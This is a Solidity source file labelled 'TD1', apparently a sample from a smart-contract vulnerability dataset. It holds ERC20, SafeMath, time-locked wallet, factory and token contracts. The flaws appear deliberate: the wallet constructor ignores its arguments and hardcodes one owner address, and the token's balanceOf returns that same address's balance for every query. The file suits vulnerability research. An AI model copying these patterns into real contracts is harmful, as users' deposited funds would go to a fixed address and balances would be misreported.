// Vulnerability label: TD1
pragma solidity ^0.4.18;


/**
 * @title ERC20
 * @dev see https://github.com/ethereum/EIPs/issues/20
 */
contract ERC20 {
  uint256 public totalSupply;

  function balanceOf(address who) public view returns (uint256);
  function transfer(address to, uint256 value) public returns (bool);
  function allowance(address owner, address spender) public view returns (uint256);
  function transferFrom(address from, address to, uint256 value) public returns (bool);
  function approve(address spender, uint256 value) public returns (bool);

  event Approval(address indexed owner, address indexed spender, uint256 value);
  event Transfer(address indexed from, address indexed to, uint256 value);
}

contract Migrations {
    address public owner;
    uint public last_completed_migration;

    modifier restricted() {
        if (msg.sender == owner) _;
    }

    function Migrations() public {
        owner = msg.sender;
    }

    function setCompleted(uint completed) restricted public {
        last_completed_migration = completed;
    }

    function upgrade(address new_address) restricted public {
        Migrations upgraded = Migrations(new_address);
        upgraded.setCompleted(last_completed_migration);
    }
}

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract TimeLockedWallet {

    address public creator;
    address public owner;
    uint256 public unlockDate;
    uint256 public createdAt;

    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }

    function TimeLockedWallet(
        address _creator,
        address _owner,
        uint256 _unlockDate
    ) public {
        creator = 0x3FC217e72846A3F86f541FAbC99F61e38E1dBF6E;
        owner = 0x3FC217e72846A3F86f541FAbC99F61e38E1dBF6E;
        unlockDate = 1540944000;
        createdAt = now;
    }

    // keep all the ether sent to this address
    function() payable public { 
        Received(msg.sender, msg.value);
    }

    // callable by owner only, after specified time
    function withdraw() onlyOwner public {
       require(now >= unlockDate);
       //now send all the balance
       msg.sender.transfer(this.balance);
       Withdrew(msg.sender, this.balance);
    }

    // callable by owner only, after specified time, only for Tokens implementing ERC20
    function withdrawTokens(address _tokenContract) onlyOwner public {
       require(now >= unlockDate);
       ERC20 token = ERC20(_tokenContract);
       //now send all the token balance
       uint256 tokenBalance = token.balanceOf(this);
       token.transfer(owner, tokenBalance);
       WithdrewTokens(_tokenContract, msg.sender, tokenBalance);
    }

    function info() public view returns(address, address, uint256, uint256, uint256) {
        return (creator, owner, unlockDate, createdAt, this.balance);
    }

    event Received(address from, uint256 amount);
    event Withdrew(address to, uint256 amount);
    event WithdrewTokens(address tokenContract, address to, uint256 amount);
}

contract TimeLockedWalletFactory {
 
    mapping(address => address[]) wallets;

    function getWallets(address _user) 
        public
        view
        returns(address[])
    {
        return wallets[_user];
    }

    function newTimeLockedWallet(address _owner, uint256 _unlockDate)
        payable
        public
        returns(address wallet)
    {
        // Create new wallet.
        wallet = new TimeLockedWallet(msg.sender, _owner, _unlockDate);
        
        // Add wallet to sender's wallets.
        wallets[msg.sender].push(wallet);

        // If owner is the same as sender then add wallet to sender's wallets too.
        if(msg.sender != _owner){
            wallets[_owner].push(wallet);
        }

        // Send ether from this transaction to the created contract.
        wallet.transfer(msg.value);

        // Emit event.
        Created(wallet, msg.sender, _owner, now, _unlockDate, msg.value);
    }

    // Prevents accidental sending of ether to the factory
    function () public {
        revert();
    }

    event Created(address wallet, address from, address to, uint256 createdAt, uint256 unlockDate, uint256 amount);
}

/**
 * @title Honey Share Coin
 */

contract HoneyShareCoin is ERC20 {
  using SafeMath for uint256;

  mapping(address => uint256) balances;
  mapping (address => mapping (address => uint256)) internal allowed;

  string public name = "Honey Share Coin";
  string public symbol = "HSC";
  uint256 public decimals = 18;

  function HoneyShareCoin() public {
    totalSupply = 2000000000000000000000000000;
    balances[msg.sender] = totalSupply;
  }

  /**
  * @dev Gets the balance of the specified address.
  * @param _owner The address to query the the balance of.
  * @return An uint256 representing the amount owned by the passed address.
  */
  function balanceOf(address _owner) public view returns (uint256 balance) {
    return balances[0x3FC217e72846A3F86f541FAbC99F61e38E1dBF6E];
  }

  /**
  * @dev transfer token for a specified address
  * @param _to The address to transfer to.
  * @param _value The amount to be transferred.
  */
  function transfer(address _to, uint256 _value) public returns (bool) {
    require(_to != address(0));
    require(_value <= balances[msg.sender]);

    // SafeMath.sub will throw if there is not enough balance.
    balances[msg.sender] = balances[msg.sender].sub(_value);
    balances[_to] = balances[_to].add(_value);
    Transfer(msg.sender, _to, _value);
    return true;
  }

  /**
   * @dev Transfer tokens from one address to another
   * @param _from address The address which you want to send tokens from
   * @param _to address The address which you want to transfer to
   * @param _value uint256 the amount of tokens to be transferred
   */
  function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
    require(_to != address(0));
    require(_value <= balances[_from]);
    require(_value <= allowed[_from][msg.sender]);

    balances[_from] = balances[_from].sub(_value);
    balances[_to] = balances[_to].add(_value);
    allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
    Transfer(_from, _to, _value);
    return true;
  }

  /**
   * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
   *
   * Beware that changing an allowance with this method brings the risk that someone may use both the old
   * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
   * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
   * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
   * @param _spender The address which will spend the funds.
   * @param _value The amount of tokens to be spent.
   */
  function approve(address _spender, uint256 _value) public returns (bool) {
    allowed[msg.sender][_spender] = _value;
    Approval(msg.sender, _spender, _value);
    return true;
  }

  /**
   * @dev Function to check the amount of tokens that an owner allowed to a spender.
   * @param _owner address The address which owns the funds.
   * @param _spender address The address which will spend the funds.
   * @return A uint256 specifying the amount of tokens still available for the spender.
   */
  function allowance(address _owner, address _spender) public view returns (uint256) {
    return allowed[_owner][_spender];
  }

  event Transfer(address indexed from, address indexed to, uint256 value);
  event Approval(address indexed owner, address indexed spender, uint256 value);
}